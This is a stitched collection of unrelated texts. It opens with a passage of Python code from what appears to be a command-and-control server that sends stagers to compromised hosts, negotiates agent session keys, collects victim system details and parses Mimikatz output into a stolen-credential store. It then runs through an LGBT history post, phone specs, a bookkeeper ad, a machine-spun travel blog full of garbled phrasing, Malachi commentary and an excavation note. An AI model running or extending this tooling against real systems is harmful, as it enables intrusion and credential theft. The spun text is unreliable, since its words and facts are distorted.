            time = helpers.get_datetime()
            creds = helpers.parse_credentials(data)

            if creds:
                for cred in creds:

                    hostname = cred[4]

                    if hostname == "":
                        hostname = self.get_agent_hostname(sessionID)

                    self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)

            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_CMD_WAIT_SAVE":
            # dynamic script output -> blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            file_data = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname(sessionID), helpers.get_file_datetime(), extension)
            final_save_path = self.save_module_file(name, save_path, file_data)

            # update the agent log
            msg = "Output saved to .%s" % (final_save_path)
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_CMD_JOB":

            # dynamic script output -> non-blocking
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

            # TODO: redo this regex for really large AD dumps
            #   so a ton of data isn't kept in memory...?
            parts = data.split("\n")
            if len(parts) > 10:
                time = helpers.get_datetime()
                if parts[0].startswith("Hostname:"):
                    # if we get Invoke-Mimikatz output, try to parse it and add
                    #   it to the internal credential store

                    # cred format: (credType, domain, username, password, hostname, sid, notes)
                    creds = helpers.parse_mimikatz(data)

                    for cred in creds:
                        hostname = cred[4]

                        if hostname == "":
                            hostname = self.get_agent_hostname(sessionID)

                        self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)

        elif responseName == "TASK_CMD_JOB_SAVE":
            # dynamic script output -> non-blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            file_data = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname(sessionID), helpers.get_file_datetime(), extension)
            final_save_path = self.save_module_file(name, save_path, file_data)

            # update the agent log
            msg = "Output saved to .%s" % (final_save_path)
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_SCRIPT_IMPORT":
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_SCRIPT_COMMAND":
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        else:
            print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID))

    ###############################################################
    #
    # HTTP processing handlers
    #
    ###############################################################

    def process_get(self, port, clientIP, sessionID, resource):
        """
        Process a GET request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            # dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            dispatcher.send("[!] %s requested by %s on the blacklist/not on the whitelist." % (resource, clientIP), sender="Agents")
            return (200, http.default_page())

        # see if the requested resource is in our valid task URI list
        if self.is_uri_present(resource):

            # if no session ID was supplied
            if not sessionID or sessionID == "":
                dispatcher.send("[!] %s requested by %s with no session ID." % (resource, clientIP), sender="Agents")
                # return a 404 error code and no resource
                return (404, "")

            # if the sessionID doesn't exist in the cache
            # TODO: put this code before the URI present? ...
            if not self.is_agent_present(sessionID):
                dispatcher.send("[!] %s requested by %s with invalid session ID." % (resource, clientIP), sender="Agents")
                return (404, "")

            # if the ID is currently in the cache, see if there's tasking for the agent
            else:

                # update the client's last seen time
                self.update_agent_lastseen(sessionID)

                # retrieve all agent taskings from the cache
                taskings = self.get_agent_tasks(sessionID)

                if taskings and taskings != []:

                    all_task_packets = ""

                    # build tasking packets for everything we have
                    for tasking in taskings:
                        task_name, task_data = tasking

                        # if there is tasking, build a tasking packet
                        all_task_packets += packets.build_task_packet(task_name, task_data)

                    # get the session key for the agent
                    session_key = self.agents[sessionID]['sessionKey']

                    # encrypt the tasking packets with the agent's session key
                    encrypted_data = encryption.aes_encrypt_then_mac(session_key, all_task_packets)

                    return (200, encrypted_data)

                # if no tasking for the agent
                else:
                    # just return the default page
                    return (200, http.default_page())

        # step 1 of negotiation -> client requests stage1 (stager.ps1)
        elif resource.lstrip("/").split("?")[0] == self.stage0:
            # return 200/valid and the initial stage code

            if self.args and self.args.debug:
                dispatcher.send("[*] Sending stager (stage 1) to %s" % (clientIP), sender="Agents")

            # get the staging information for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
            config = self.listeners.get_staging_information(port=port)
            host = config[0]
            stagingkey = config[3]
            profile = config[6]
            stage = None

            # if we have a pivot or hop listener, use that config information instead for the stager
            if "?" in resource:
                parts = resource.split("?")
                if len(parts) == 2:
                    decoded = helpers.decode_base64(parts[1])

                    # http://server:port for a pivot listener
                    if decoded.count("/") == 2:
                        host = decoded
                    else:
                        # otherwise we have a http://server:port/hop.php listener
                        stage = self.mainMenu.stagers.generate_stager_hop(decoded, stagingkey, profile)

            if not stage:
                # generate the stage with appropriately patched information
                stage = self.mainMenu.stagers.generate_stager(host, stagingkey)

            # step 2 of negotiation -> return stager.ps1 (stage 1)
            return (200, stage)

        # default response
        else:
            # otherwise return the default page
            return (200, http.default_page())

    def process_post(self, port, clientIP, sessionID, resource, postData):
        """
        Process a POST request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            dispatcher.send("[!] %s requested by %s on the blacklist/not on the whitelist." % (resource, clientIP), sender="Agents")
            return (200, http.default_page())

        # check if requested resource in is session URIs for any agent profiles in the database
        if self.is_uri_present(resource):

            # if the sessionID doesn't exist in the database
            if not self.is_agent_present(sessionID):

                # alert everyone to an irregularity
                dispatcher.send("[!] Agent %s posted results but isn't in the database!" % (sessionID), sender="Agents")
                return (404, "")

            # if the ID is currently in the database, process the results
            else:

                # extract the agent's session key
                session_key = self.agents[sessionID]['sessionKey']

                try:
                    # verify, decrypt and depad the packet
                    packet = encryption.aes_decrypt_and_verify(session_key, postData)

                    # update the client's last seen time
                    self.update_agent_lastseen(sessionID)

                    # process the packet and extract necessary data
                    #   [(responseName, counter, length, data), ...]
                    response_packets = packets.parse_result_packets(packet)

                    counter = response_packets[-1][1]

                    results = False

                    # validate the counter in the packet in the setcode.replace
                    if counter and packets.validate_counter(counter):

                        results = True

                        # process each result packet
                        for response_packet in response_packets:
                            (response_name, counter, length, data) = response_packet

                            # process the agent's response
                            self.handle_agent_response(sessionID, response_name, data)

                        if results:
                            # signal that this agent returned results
                            name = self.get_agent_name(sessionID)
                            dispatcher.send("[*] Agent %s returned results." % (name), sender="Agents")

                        # return a 200/valid
                        return (200, "")

                    else:
                        dispatcher.send("[!] Invalid counter value from %s" % (sessionID), sender="Agents")
                        return (404, "")

                except Exception as e:
                    dispatcher.send("[!] Error processing result packet from %s : %s" % (sessionID, e), sender="Agents")
                    return (404, "")

        # step 3 of negotiation -> client posts public key
        elif resource.lstrip("/").split("?")[0] == self.stage1:

            if self.args and self.args.debug:
                # dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
                dispatcher.send("[*] Agent %s from %s posted to public key URI" % (sessionID, clientIP), sender="Agents")

            # get the staging key for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
            stagingKey = self.listeners.get_staging_information(port=port)[3]

            # decrypt the agent's public key
            message = encryption.aes_decrypt(stagingKey, postData)

            # strip non-printable characters
            message = ''.join(filter(lambda x: x in string.printable, message))

            # client posts RSA key
            if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
                dispatcher.send("[!] Invalid key post format from %s" % (sessionID), sender="Agents")
            else:
                # convert the RSA key from the stupid PowerShell export format
                rsaKey = encryption.rsa_xml_to_key(message)

                if rsaKey:

                    if self.args and self.args.debug:
                        dispatcher.send("[*] Agent %s from %s posted valid RSA key" % (sessionID, clientIP), sender="Agents")

                    # get the epoch time to send to the client
                    epoch = packets.get_counter()

                    # get the staging key for the given listener, keyed by port
                    #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit
                    config = self.listeners.get_staging_information(port=port)
                    delay = config[4]
                    jitter = config[5]
                    profile = config[6]
                    killDate = config[7]
                    workingHours = config[8]
                    lostLimit = config[11]

                    # add the agent to the database now that it's "checked in"
                    self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit)

                    # step 4 of negotiation -> return epoch+aes_session_key
                    clientSessionKey = self.get_agent_session_key(sessionID)
                    data = str(epoch) + clientSessionKey
                    data = data.encode('ascii', 'ignore')

                    encryptedMsg = encryption.rsa_encrypt(rsaKey, data)

                    # return a 200/valid and encrypted stage to the agent
                    return (200, encryptedMsg)

                else:
                    dispatcher.send("[!] Agent %s returned an invalid public key!" % (sessionID), sender="Agents")
                    return (404, "")

        # step 5 of negotiation -> client posts sysinfo and requests agent
        elif resource.lstrip("/").split("?")[0] == self.stage2:

            if self.is_agent_present(sessionID):

                # if this is a hop.php relay
                if "?" in resource:
                    parts = resource.split("?")
                    if len(parts) == 2:
                        decoded = helpers.decode_base64(parts[1])

                        # get the staging key for the given listener, keyed by port
                        #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
                        config = self.listeners.get_staging_information(host=decoded)

                else:
                    config = self.listeners.get_staging_information(port=port)

                delay = config[4]
                jitter = config[5]
                profile = config[6]
                killDate = config[7]
                workingHours = config[8]
                lostLimit = config[11]

                # get the session key for the agent
                sessionKey = self.agents[sessionID]['sessionKey']

                try:
                    # decrypt and parse the agent's sysinfo checkin
                    data = encryption.aes_decrypt(sessionKey, postData)

                    parts = data.split("|")

                    if len(parts) < 10:
                        dispatcher.send("[!] Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, data), sender="Agents")

                        # remove the agent from the cache/database
                        self.remove_agent(sessionID)
                        return (404, "")

                    dispatcher.send("[!] Agent %s posted valid sysinfo checkin format: %s" % (sessionID, data), sender="Agents")

                    listener = parts[0].encode('ascii', 'ignore')
                    domainname = parts[1].encode('ascii', 'ignore')
                    username = parts[2].encode('ascii', 'ignore')
                    hostname = parts[3].encode('ascii', 'ignore')
                    # external_ip = clientIP.encode('ascii', 'ignore')
                    internal_ip = parts[4].encode('ascii', 'ignore')
                    os_details = parts[5].encode('ascii', 'ignore')
                    high_integrity = parts[6].encode('ascii', 'ignore')
                    process_name = parts[7].encode('ascii', 'ignore')
                    process_id = parts[8].encode('ascii', 'ignore')
                    ps_version = parts[9].encode('ascii', 'ignore')

                    if high_integrity == "True":
                        high_integrity = 1
                    else:
                        high_integrity = 0

                except Exception:
                    # remove the agent from the cache/database
                    self.remove_agent(sessionID)
                    return (404, "")

                # let everyone know an agent got stage2
                if self.args and self.args.debug:
                    dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender="Agents")

                # step 6 of negotiation -> server sends patched agent.ps1
                agent_code = self.mainMenu.stagers.generate_agent(delay, jitter, profile, killDate, workingHours, lostLimit)

                username = "%s\\%s" % (domainname, username)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, ps_version=ps_version)

                # encrypt the agent and send it back
                encrypted_agent = encryption.aes_encrypt(sessionKey, agent_code)

                # signal everyone that this agent is now active
                dispatcher.send("[+] Initial agent %s from %s now active" % (sessionID, clientIP), sender="Agents")
                output = "[+] Agent %s now active:\n" % (sessionID)

                # set basic initial information to display for the agent
                agent = self.mainMenu.agents.get_agent(sessionID)

                keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]

                agent_info = dict(zip(keys, agent))

                for key in agent_info:
                    if key != "functions":
                        output += "  %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agent_info[key], width=70))

                # save the initial sysinfo information in the agent log
                self.save_agent_log(sessionID, output + "\n")

                # if a script autorun is set, set that as the agent's first tasking
                autorun = self.get_autoruns()
                if autorun and autorun[0] != '' and autorun[1] != '':
                    self.add_agent_task(sessionID, autorun[0], autorun[1])

                return(200, encrypted_agent)

            else:
                dispatcher.send("[!] Agent %s posted sysinfo without initial checkin" % (sessionID), sender="Agents")
                return (404, "")

        # default behavior, 404
        else:
            return (404, "")

redpajama_set_name: RedPajamaGithub


text:
Today in LGBT History – MAY 8
Published May 8, 2019 by Ronni Sanlo
Rudyard Kipling said: If history were taught in the form of stories, it would never be forgotten.The snippets of LGBTQ history here are the stories of our lives, the stories of the giants on whose shoulders we all stand. Learn about them then tell the stories…and remember, because knowing your history IS resistance!
Thanks for taking this journey with me. Now go write your story!
1828, Swtizerland – Jean-Henri Dunant (8 May 1828 – 30 October 1910) is born. He was a Swiss businessman and social activist, the founder of the Red Cross, and the first recipient of the Nobel Peace Prize. The 1864 Geneva Convention was based on Dunant's ideas. In 1901 he received the first Nobel Peace Prize together with Frédéric Passy, making Dunant the first Swiss Nobel laureate.His birthday, 8 May, is celebrated as the World Red Cross and Red Crescent Day.Following his death his family burned his personal papers in an effort to suppress the fact he was bisexual.
1920, Finland – Tom of Finland, Touko Laaksonen, (May 8, 1920 – 1991) is born. He is a sex-positive artist who went from the "pornography" underground in the 1950s to the mainstream present. His handsome, outrageously virile and endowed men challenged the perception that all homosexuals were effeminate, at the same time allowing that all types coexisted in the same sexual and social landscape. The nation of Finland issued stamps celebrating his art in 2014.
1978, Canada – The trial begins of those in the Montreal Truxx Bar raid, charged with being keepers of a common bawdyhouse (house of prostitution). In 1976 the City of Montréal launched a pre-Olympic cleanup of gays and prostitutes, a new wave of persecution that shocked the gay community out of its complacency, both francophone and anglophone, and whole-scale organizing started up again, energized by the simple exigency of self-defense. The police responded in October 1977 by swooping with machine-guns into the Stanley Street bar Truxx, and made the largest mass arrest since the October Crisis. 146 men were forcibly given VD tests, crammed incommunicado all night into tiny cells with standing room only, and charged the next day under the familiar vague and discriminatory bawdy-house and gross indecency laws. That night, 3000 protesters blocked the streets of what was then the West End Peel-Stanley gay ghetto for several hours, and as the Journal de Montréal headline screamed, "Les Homos et la police: c'est la guerre!" No more than 300 demonstrators had ever shown up for a gay lib demo before, and two months later an embarrassed and still idealistic PQ government (only one year in office) passed Loi 88, the first human rights legislation protecting lesbians and gays anywhere in the world (Norway joined Quebec in 1981). The charges hung over the heads of the accused for several years thereafter before finally being dropped.
1981 – Tennis great Billie Jean King(November 22, 1943) becomes the first prominent professional athlete to come out as a lesbian when her relationship with her secretary, Marilyn Barnett, becomes public in a May of 1981 "palimony" lawsuit filed by Barnett. As a result, King loses all of her endorsements. King is an advocate for gender equality and has long been a pioneer for equality and social justice. In 1973, at age 29, she won the "Battle of the Sexes" tennis match against the 55-year-old Bobby Riggs. King was also the founder of the Women's Tennis Association and the Women's Sports Foundation.
1996, South Africa – South Africa becomes the first country in the world to adopt language in its constitution protecting the civil rights of lesbians and gay men (Section 2 of the State Duty to Protect Human Rights) and, that same day, anti-apartheid campaigner Edwin Cameron (born 15 February 1953) becomes the world's first openly gay Supreme Court judge. Cameronis well known for his HIV/AIDS and gay-rights activism and was hailed by Nelson Mandela as "one of South Africa's new heroes".
2010, Lithuania – Baltic Pride parade takes place amid violence by anti-gay protestors. With the number of police officers in the street almost outnumbering the participants the Latvian capital of Riga hosted its most successful and peaceful Gay Pride Parade to date. Police presence was heavy as religious groups and some Neo-Nazis had announced their resistance to the Baltic Pride in Riga ahead of the event. But the counter demonstrators were not to be seen and between 300 and 400 people marched through the cobblestone streets of the Latvian capital.
2010 – Chaz Salvatore Bono's (born March 4, 1969)new name is legally recognized by the court. He is an American advocate, writer, musician and actor. His parents are entertainers Sonny Bono and Cher.Bono is a transgender man. In 1995, several years after being outed as lesbian by the tabloid press, he publicly self-identified as such in a cover story in a leading American gay monthly magazine, The Advocate, eventually going on to discuss the process of coming out to oneself and to others in two books. Family Outing: A Guide to the Coming Out Process for Gays, Lesbians, and Their Families (1998) includes his coming-out account. The memoir The End of Innocence (2003) discusses his outing, music career, and partner Joan's death from non-Hodgkin's lymphoma. Between 2008 and 2010, Bono underwent female-to-male gender transition. A two-part Entertainment Tonight feature in June 2009 explained that his transition had started a year before. In May 2010, he legally changed his gender and name. A documentary on Bono's experience, Becoming Chaz, was screened at the 2011 Sundance Film Festival and later made its television debut on the Oprah Winfrey Network.A year after his name change, he appears on the 13th season of the U.S. version of Dancing with the Stars. This was the first time an openly transgender man starred on a major network television show for something unrelated to being transgender.
Stand up, speak out, share your story!
(Historical information obtained from a variety of sources including QUIST at facebook.com/quistapp, Back2Stonewall.com, Lavender Effect, DataLounge.com, Arron's Gay Info, All Things Queer, RS Levinson, Amara Das Wilhelm, out.com, Safe Schools Coalition, and/or Wikipedia. If you wish to edit an item or add an item, please send an email to me at ronnisanlo@gmail.com. Thanks!)
Previous Article Previous Article: Today in LGBT History – MAY 7
Next Article Next Article: Today in LGBT History – MAY 9
Posted in: LGBT HISTORYTagged: #AIDS, #BalticPride, #BillieJeanKing, #bisexualhistory, #ChazBono, #EdwinCameron, #gayhistory, #JeanHenriDunant, #lesbianhistory, #LGBThistory, #lgbtqhistory, #queerhisory, #TomofFinland, #transgenderhistory, #TruxxBar


text:
Home / Brands / Acer Phones / Acer Liquid Zest Plus
Dual SIM dual stand-by
~267 ppi pixel density
13 Megapixel, Phase detection/laser Autofocus, LED flash
DTS HD sound
microSD (dedicated slot)
Android, version 6.0 (Marshmallow)
Mali-T720MP2
Blue, White
Speed: HSPA, LTE
MP3/WAV/AAC/Flac player
An Overview of Acer Liquid Zest Plus
Acer Liquid Zest Plus device was launched in July, 2016 and features a 5.5 inches screen, IPS LCD capacitive touchscreen, 16M colors with a resolution of 720 x 1280 pixels. The phone has full support to 2G, 3G, 4G network bands.
Acer Liquid Zest Plus phone is equipped with Quad-core 1.3 GHz Cortex-A53 CPU and Mali-T720MP2 GPU powered by Mediatek MT6735 chipset. The phone has a RAM of 2 GB and has an internal storage of 16 GB with expandable card slot microSD (dedicated slot). The phone runs on the Android, version 6.0 (Marshmallow) operating system.
In the camera aspect, Acer Liquid Zest Plus has a rear camera of 13 Megapixel and a front-facing camera of 5 Megapixel which is quite impressive for taking photographs.
Messaging (SMS(threaded view), MMS, Email, Push Mail, IM)
Acer Liquid Zest Plus mobile phone has a Non-removable battery with a capacity of 5000 mAh. The height, width and thickness of this phone measures around 154 x 77 x 10 mm.
Acer Liquid Zest Plus has various connectivity options such as:
Sensors (Accelerometer, proximity, compass)
This mobile device is available in Blue, White colors.
Acer Liquid Zest Plus Comparison with Other Latest Mobile Phones


AA Bookkeepers was started by director and principal Apurv Bhalla. Apurv is a CPA and a registered BAS agent.With experience of more than 10 years in Australian accounting industry.
Apurv understands how small businesses operate and how the accounts and books can be managed smoothly. With aabookkeepers you will always have your accounts up to date and never late of BAS lodgements and tax returns.
Apurv has developed his own accounting software Eazybooks.com.au. This is a FREE accounting software developed keeping in mind the accounting needs of small and medium businesses. Apurv is also co owner of Kindlebit Australia Pty Ltd providing range of outsourced solutions for different industries.


I've lived in San Diego my complete life and I grew up going to the desert, together with Anza-Borrego State Park, a number of instances yearly. I do not ever keep in mind seeing the Anza-Borrego wildflowers in bloom like they're this year. I vaguely keep in mind hiking with my mom and retaining our eyes peeled for the occasional desert bloom. However this year, because of the insanely above-average rain we've obtained in Southern California, the desert wildflowers are out in full drive in Anza-Borrego. In truth, they're saying this may be the most important tremendous bloom in 20 years.
Up and coming comedy star Larry Breeding's career ended at age 36, he was killed in a car accident. Powerful alternative, when there are so many actually great items to select from. I lean towards selecting the highest I like finest, then matching the shoe and the pants to that. Let's have a look at the mules are available blue and many other colors, and they are really easy to wear and go. Retaining little ones happy on the highway is a vital skill! We picked up a whole lot of tips for traveling with a one year outdated, since we took ours backwards and forwards to California several occasions per 12 months!
The plate boundary between North America and Eurasia is effectively defined in the Atlantic (white line in picture to left); the mid-Atlantic ridge marks the place the 2 plates move away from each other. That ridge continues up into the Arctic, however loses character off Siberia. There may be not one other distinct plate boundary between that endpoint and the boundary of the Pacific oceanic plate, which is subducting beneath the Aleutians and alongside the Japan-Kuril-Kamchatka (JKK) trench.
Extra Of The World For Less!
Pondering of shifting into an RV? In that case, there are 9 basic items you should know before you make the leap from normal dwelling to motor residence or camper dwelling.
Ben Kershaw, the Alliance's Director of Government Relations will likely be representing us at the travel business's legislative fly-in and Capitol Hill day on the finish of March. The policies they advocate are primarily geared toward facilitating travel—things like airport modernization funding, the Visa Waiver Program, and trusted traveler programs like TSA PreCheck. Nonetheless, Ben and I can be monitoring the information more broadly for information that will help museums project trends in travel in tourism over the approaching year. If your museum conducts its personal monitoring of such forecasts, I'd love to listen to from you as nicely.
I travel so much mostly because of work. My husband and I work on worldwide initiatives so this brings us to places and while there, we attempt to explore locations close by throughout our breaks. We be taught so much when we do this. Typically, it's simply to rest. Or, to get away from the snow and chilly. No matter our reasons perhaps in these trips, they're always studying moments.
I wish to travel because I see many attention-grabbing things, places and other people. It widens my horizon. Seeing beautiful landscapes like cliffs, white sandy beaches, mountains, valleys, rivers, forest, waterfalls, etc are awesome. Then I can share the photographs and videos I made to my buddies and family as well as my co hubbers. Moreover that, the sensation that I have seeing these awesome places is overwhelming.
SYTA is the trusted useful resource for educators, directors, dad and mom, and travel professionals and will enable you navigate the whole lot you must know about pupil and youth travel. Our members understand that travel is a key part of a whole training, and are committed to providing pupil and youth travelers with secure, wealthy, and rewarding travel experiences.
There are a lot of various kinds of sockets (and plugs to fit them) and likewise many various voltage and frequency variations between countries and areas. Someone who does a whole lot of international enterprise travel will need either a power adapter and a transformer/voltage converter or a mixture international all-in-one voltage converter and travel plug adapter that may work with an input voltage vary suitable for the areas to which they travel continuously.
Flash ahead to 2017. In contrast to the first journey where five-star properties were simply three – Las Ventanas (Rosewood), Esperanza (Auberge) and One & Solely Palmilla – there's now La Pedregal, The Montage, The Cape and a Ritz Carlton still underneath development. And that is just the high end. The expansion is at the very least 10% annually, and as much as 20% at occasions. Three thousand rooms might be added in 2017. Through the high season (November via Might), there are typically forty commercial flights on Saturdays and Sundays.
This trip was rainy, full of history and hearty meals, and introduced us to one of my favorite countries (Slovenia).
I always reply with My profession began sophomore 12 months of school. I am thinking about International Enterprise (Scholar Exchanges) and all of my earlier work in some way or one other has helped me develop professionally." Although, the career path maybe completely different than yours, it does not imply it is better or worse. It's totally different! Make a turn to the Kenyatta market. Get your hair accomplished as I did. While you get your hair accomplished, you can get an outfit designed by the local seamstress who also personal a stall on the market. So, what to wear? I've been trying to find some nice appears and to readjust my clothes, makeup, and hair style to maximise my good options. Back ache can turn an amazing hoiday into a completely torturous one, especially for those of us who suffer from ongoing back problems. Thanks for the ideas!
And forget about making an attempt to navigate a trip to Japanese Europe, South America or Asia, where I do not know what the language is all about. Sure, some folks converse English. However largely it is the people who cope with American tourists, and it is their job to talk to you. To me that seems synthetic. You get the vacationer expertise, but not the expertise of the people who really dwell there. To not mention the fact that you don't know what they're saying behind your back!
I have been an RV enthusiast for greater than 50 years, and during that time have seen that my fellow recreational automobile owners are paying far an excessive amount of for parts and labor when their coaches need repairs and upgrades.
Familiarize Kitty With the RV. Should you travel in an RV together with your cat, let Kitty get used to the RV ahead of time. Deliver the cat in with you and let her wander across the within the RV, getting acquainted with all of its nooks and crannies. Give her somewhat treat. One factor that helped our cats regulate was to position a gentle throw on the sprint for them. It helps shield the vinyl overlaying on the sprint and the cats preferred to sit on it and look out the window on the birds and activity open air.
A 1999 or newer motor residence or camper will include not less than one as a result of they're now standard gear. Nonetheless, earlier than you resolve to buy a coach with this amenity, you'll want to weigh the professionals and cons of owning one. You also need to know that there still are different options for you in the event you resolve that purchasing travel unit with slide out rooms is just not for you.
Coronary heart pounding like a little girl about to be reprimanded for not doing homework, I reluctantly stepped out of the well-known cogwheel prepare at Alpiglen station. The huge north face of Mt. Eiger loomed large above the frozen landscape. It wasn't until my guide instructed me she'd let her four-year old daughter go sledding alone did my frayed nerves chill out a bit. What adopted after the initial scare is a journey I'll always remember!
The game received extra frantic the nearer to the ultimate whistle we obtained especially when the ref turned down what appeared a certain penalty for Leeds when a yellow shirt was pushed to the bottom as he went to problem Al Habsi. 3,600 away fans have been completely incensed with the decision that put the ultimate nail in the Leeds coffin. 6 minutes of added time just prolonged the frustration as the game ended 1.zero Studying. Unusually there have been plenty of empty seats in the dwelling end before the ultimate whistle? They must have been late for his or her Horlicks or one thing however those that were left celebrated like they'd just gained promotion.
This trip was rainy, full of historical past and hearty food, and launched us to one of my favourite international locations (Slovenia).
Bread and many fantastic pastries and different bread merchandise are locally made, but far as I know, the flour shouldn't be native, though nearly actually from Russia. The flour I have on my shelf is from Kurgan, Russia. Tanya confirmed me how one can discover the extra traditional loaves of Russian bread, which is fab. Adam's Rib was a state of affairs comedy that started its run on ABC on September 14, 1973 and lasted until December 28, 1973.
It was a 60 minute comedy drama that aired on NBC for just 9 episodes, beginning on February 7, 1979 and ending May 5, 1979. It has been considered one of the largest and most expensiveTV flops of all time. In Israel, the Golan Heights, and ports of entry at Ben Gurion Airport, Haifa Port, the northern (Jordan River/Sheikh Hussein) and southern (Arava) border crossings connecting Israel and Jordan, and the border crossings between Israel and Egypt, contact the Consular Part of the U.S. Embassy in Tel Aviv. The after-hours emergency number is (972)(3)519-7575. We observed that you are accessing our US website from the South Pacific region – please click below to be redirected to our Australia site that has info for reserving trips from Australia to all our locations. When the lads weren't delivering provides, they discovered their fun at a nightclub near their base which was run by Madame Dalacort as performed by Penny Santon.
We observed that you simply're using an outdated browser. The TripAdvisor web site could not show properly. Upgrading your browser will ensure the very best expertise on our website: Home windows: Web Explorer, Mozilla Firefox, Google Chrome. Mac: Safari.
Gemini is such a gorgeous cat. How fortunate you may have been to show your cat into a traveling buddy. I do not think our cat might have ever performed that regardless of how a lot we ready him. Our cat was a horrible traveler – how I want I had your tips in years previous! That is why a present of a light-weight, compact, gentle, snug and hygienic private travel blanket and pillow makes such an appreciated present for each enterprise and leisure travel. Whether it is a short trip or an extended-haul flight, here are some tried and examined again ache travel suggestions. These are some effectively thought of ideas. I am fairly eager on the packing cubes and universal adapter. Thanks for this.
Leipzig Tourism and Marketing is proud to make use of the internationally accepted domaintravel to advertise our beautiful metropolis and region. As the official CVB for town of Leipzig, we registered fortravel greater than 5 years ago, following the decision of the German Nationwide Vacationer Board ( www.germany.travel ), and went on-line with our relaunch in 2013. It is the excellent area for the travel and tourism business, and helps to communicate who we are and what we do.
Some of the decline may end result from organized grassroots efforts to express concern in regards to the travel ban. In late January, more than 4,000 university employees and researchers signed a petition to boycott worldwide academic conferences in the US to indicate solidarity with colleagues affected by the travel ban. An opinion piece within the Toronto Star encouraged Canadians to boycott travel to the US Whereas the travel ban is on hold, resulting from a nationwide restraining order issued by U.S. District Senior Judge James Robart of Seattle, many proceed to express concern concerning the motivations behind the ban, and about efforts to reinstate some comparable constraints on travel to the US.
Drink a lot of water on the flight. Significantly if you are taking back ache treatment and as you're at altitude your body will easily get dehydrated which isn't good for anybody and particularly not if you have again ache and disc issues. However the simple solution is to maintain ingesting water and to keep away from tea, coffee and alcohol as these solely dehydrate you additional.
I am Swig, welcome to my travel blog and thanks for becoming a member of me on the journey of traveling the World! This blog is a resource to anyone excited by traveling. With the help of travel tales, private experiences, and images I plan to help new and skilled travelers. My hope is to encourage individuals to to do one thing new and unfamiliar.
Completely price mentioning are the next restaurants: Los Tres Gallos was a last-minute determination that was wonderful. Delicious meals, with some surprising twists, in an indoor/outside setting. We additionally liked Mi Casa , with conventional fare in a lively atmosphere. Both spots are in downtown Cabo, close to the marina. One in all my favourite brief lived series was this Project UFO created by Jack Webb of Dragnet fame. This present was not nicely obtained, especially by the true life president of Flatbush who demanded that or not it's taken off the air due to it's insulting use of stereotypes. I can't say for positive if CBS took his concerns severely or not, however the show was canceled after airing only three episodes. Of course, your flight will land in Nairobi or your bus will end within the city. After all, you wish to see and explore the town that's Nairobi.


2:1 And now, O ye priests, this commandment is for you. (2:2) "If ye will not ... give glory unto my name ... I will even send a curse upon you."
Give glory to God or he will curse you.
"Behold, I will corrupt your seed, and spread dung upon your faces."
"And ye shall know that I have sent this commandment unto you."
When God spreads dung upon your face, you'll know where it came from.
(2:5) "He feared me, and was afraid before my name."
"I also made you contemptible and base before all the people."
"Judah ... hath married the daughter of a strange god."
2:15 And did not he make one? Yet had he the residue of the spirit. And wherefore one? That he might seek a godly seed. Therefore take heed to your spirit, and let none deal treacherously against the wife of his youth. (2:15) "Let none deal treacherously against the wife of his youth."
2:17 Ye have wearied the LORD with your words. Yet ye say, Wherein have we wearied him? When ye say, Every one that doeth evil is good in the sight of the LORD, and he delighteth in them; or, Where is the God of judgment? (2:17) "Ye have wearied the LORD with your words."
Don't weary the Lord with your words.
Don't say, "Everyone who does evil is good in the sight of the Lord."
Don't say, "Where is the God of judgment?


text:
Hazor excavations
The Selz Foundation Hazor Excavations in Memory of Yigael Yadin
The History of Hazor
Basic Bibliography
Excavations Reports
Tel Hazor – 2018
Index of locus
Hazor Reports
Discovery of a large dwelling in excavations conducted this year in Tel Hazor by the Hebrew University of Jerusalem Institute of Archaeology verifies earlier estimates linking the earliest Israelite fortifications at the site to the 10th century B.C.E., most probably in the days of King Solomon.
